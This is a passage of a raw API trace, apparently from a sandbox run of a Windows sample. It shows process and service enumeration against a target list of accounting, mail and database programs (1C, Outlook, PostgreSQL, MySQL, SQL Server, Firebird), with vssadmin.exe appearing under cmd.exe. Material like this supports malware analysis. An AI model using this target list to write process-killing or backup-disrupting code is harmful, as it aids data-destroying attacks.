th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0182.781] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0182.781] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0182.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0182.781] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0182.782] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0182.782] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0182.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0182.782] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0182.827] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0182.827] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0182.827] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0182.829] lstrlenW (lpString="wmxsde.exe") returned 10 [0182.829] lstrcmpiW (lpString1="1c8.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="1cv77.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="outlook.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="postgres.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="mysqld.exe", lpString2="wmxsde.exe") returned -1 [0182.829] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wmxsde.exe") returned -1 [0182.829] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0182.931] lstrlenW (lpString="cmd.exe") returned 7 [0182.931] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0182.931] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0182.931] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0182.931] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0182.931] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0182.931] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0182.931] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0182.931] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.932] lstrlenW (lpString="conhost.exe") returned 11 [0182.932] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0182.932] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0182.932] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0182.933] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0182.933] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0182.933] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0182.933] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0182.933] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.934] lstrlenW (lpString="consent.exe") returned 11 [0182.934] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0182.934] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0182.934] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0182.934] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0182.934] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0182.934] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0182.934] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0182.934] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0182.935] lstrlenW (lpString="vssadmin.exe") returned 12 [0182.935] lstrcmpiW (lpString1="1c8.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="1cv77.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="outlook.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="postgres.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="mysqld.exe", lpString2="vssadmin.exe") returned -1 [0182.935] lstrcmpiW (lpString1="sqlservr.exe", lpString2="vssadmin.exe") returned -1 [0182.935] Process32NextW (in: hSnapshot=0x388, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0182.936] CloseHandle (hObject=0x388) returned 1 [0182.936] Sleep (dwMilliseconds=0x1f4) [0183.492] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f218 [0183.492] EnumServicesStatusExW (in: hSCManager=0x459f218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0183.493] GetLastError () returned 0xea [0183.493] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0183.493] EnumServicesStatusExW (in: hSCManager=0x459f218, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0183.495] CloseServiceHandle (hSCObject=0x459f218) returned 1 [0183.495] lstrlenW (lpString="Appinfo") returned 7 [0183.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0183.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0183.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0183.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0183.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0183.495] lstrlenW (lpString="AppXSvc") returned 7 [0183.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0183.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0183.495] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0183.495] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0183.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0183.495] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0183.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0183.495] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0183.495] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0183.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0183.495] lstrlenW (lpString="Audiosrv") returned 8 [0183.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0183.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0183.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0183.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0183.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0183.496] lstrlenW (lpString="BFE") returned 3 [0183.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.496] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.496] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.496] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0183.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0183.496] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0183.496] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0183.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0183.496] lstrlenW (lpString="CDPSvc") returned 6 [0183.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0183.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0183.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0183.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0183.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0183.496] lstrlenW (lpString="ClickToRunSvc") returned 13 [0183.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0183.496] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0183.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0183.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0183.497] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0183.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0183.497] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0183.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0183.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0183.497] lstrlenW (lpString="CryptSvc") returned 8 [0183.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.497] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.497] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.497] lstrlenW (lpString="DcomLaunch") returned 10 [0183.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.497] lstrlenW (lpString="DeviceAssociationService") returned 24 [0183.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0183.497] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0183.497] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0183.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0183.498] lstrlenW (lpString="Dhcp") returned 4 [0183.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.498] lstrlenW (lpString="Dnscache") returned 8 [0183.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.498] lstrlenW (lpString="DPS") returned 3 [0183.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.498] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.498] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.498] lstrlenW (lpString="DusmSvc") returned 7 [0183.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0183.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0183.498] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0183.498] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0183.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0183.498] lstrlenW (lpString="EventLog") returned 8 [0183.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0183.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0183.499] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0183.499] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0183.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0183.499] lstrlenW (lpString="EventSystem") returned 11 [0183.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.499] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.499] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.499] lstrlenW (lpString="FontCache") returned 9 [0183.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0183.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0183.499] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0183.499] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0183.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0183.499] lstrlenW (lpString="gpsvc") returned 5 [0183.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.499] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.499] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.499] lstrlenW (lpString="iphlpsvc") returned 8 [0183.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.500] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.500] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.500] lstrlenW (lpString="KeyIso") returned 6 [0183.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0183.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0183.500] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0183.500] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0183.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0183.500] lstrlenW (lpString="LanmanServer") returned 12 [0183.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.500] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.500] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.500] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.501] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.501] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.501] lstrlenW (lpString="lfsvc") returned 5 [0183.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0183.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0183.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0183.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0183.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0183.557] lstrlenW (lpString="lmhosts") returned 7 [0183.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.558] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.558] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.558] lstrlenW (lpString="LSM") returned 3 [0183.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0183.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0183.558] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0183.558] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0183.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0183.558] lstrlenW (lpString="MpsSvc") returned 6 [0183.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.558] lstrlenW (lpString="NcbService") returned 10 [0183.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0183.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0183.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0183.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0183.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0183.558] lstrlenW (lpString="netprofm") returned 8 [0183.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.558] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.559] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.559] lstrlenW (lpString="NgcSvc") returned 6 [0183.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0183.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0183.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0183.559] lstrlenW (lpString="NlaSvc") returned 6 [0183.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0183.559] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0183.559] lstrlenW (lpString="nsi") returned 3 [0183.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0183.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0183.559] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0183.559] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0183.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0183.559] lstrlenW (lpString="PcaSvc") returned 6 [0183.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0183.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0183.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0183.559] lstrlenW (lpString="PlugPlay") returned 8 [0183.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0183.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0183.560] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0183.560] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0183.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0183.560] lstrlenW (lpString="Power") returned 5 [0183.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0183.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0183.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0183.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0183.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0183.560] lstrlenW (lpString="ProfSvc") returned 7 [0183.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0183.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0183.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0183.560] 